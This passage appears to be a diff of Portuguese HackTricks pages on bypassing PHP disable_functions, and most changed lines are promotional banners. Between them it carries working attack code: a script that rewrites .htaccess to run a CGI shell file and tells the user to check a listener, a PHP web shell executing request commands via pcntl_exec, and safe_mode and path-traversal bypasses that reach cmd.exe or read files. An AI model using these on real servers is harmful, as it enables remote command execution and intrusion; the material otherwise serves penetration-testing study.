||||||
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
|
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
|
||||||
checkEnabled("Is writable",$writable,"Yes","No");
|
checkEnabled("Is writable",$writable,"Yes","No");
|
||||||
checkEnabled("htaccess working",$htaccess,"Yes","No");
|
checkEnabled("htaccess working",$htaccess,"Yes","No");
|
||||||
if(!($modcgi && $writable && $htaccess))
|
if(!($modcgi && $writable && $htaccess))
|
||||||
{
|
{
|
||||||
echo "Error. All of the above must be true for the script to work!"; //abort if not
|
echo "Error. All of the above must be true for the script to work!"; //abort if not
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
|
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
|
||||||
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
|
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
|
||||||
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
|
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
|
||||||
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
|
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
|
||||||
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
|
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -33,26 +31,24 @@ echo '123';
|
||||||
<?php
|
<?php
|
||||||
$cmd = @$_REQUEST[cmd];
|
$cmd = @$_REQUEST[cmd];
|
||||||
if(function_exists('pcntl_exec')) {
|
if(function_exists('pcntl_exec')) {
|
||||||
$cmd = $cmd."&pkill -9 bash >out";
|
$cmd = $cmd."&pkill -9 bash >out";
|
||||||
pcntl_exec("/bin/bash", $cmd);
|
pcntl_exec("/bin/bash", $cmd);
|
||||||
echo file_get_contents("out");
|
echo file_get_contents("out");
|
||||||
} else {
|
} else {
|
||||||
echo '不支持pcntl扩展';
|
echo '不支持pcntl扩展';
|
||||||
}
|
}
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,21 +1,19 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Exploração FOpen do PHP 5.2
|
# PHP 5.2 - Exploit FOpen
|
||||||
|
|
||||||
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||||
```php
|
```php
|
||||||
|
@ -23,16 +21,14 @@ php -r 'fopen("srpath://../../../../../../../dir/pliczek", "a");'
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,21 +1,19 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Bypass de Proteções Win32std ext do PHP 5.2.3
|
# PHP 5.2.3 - Win32std ext Proteções Bypass
|
||||||
|
|
||||||
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
De [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
||||||
```php
|
```php
|
||||||
|
@ -43,16 +41,14 @@ win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -31,16 +29,14 @@ var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
Outras formas de apoiar o HackTricks:
|
||||||
|
|
||||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,19 @@
|
||||||
# PHP <= 5.2.9 no windows
|
<details>
|
||||||
|
|
||||||
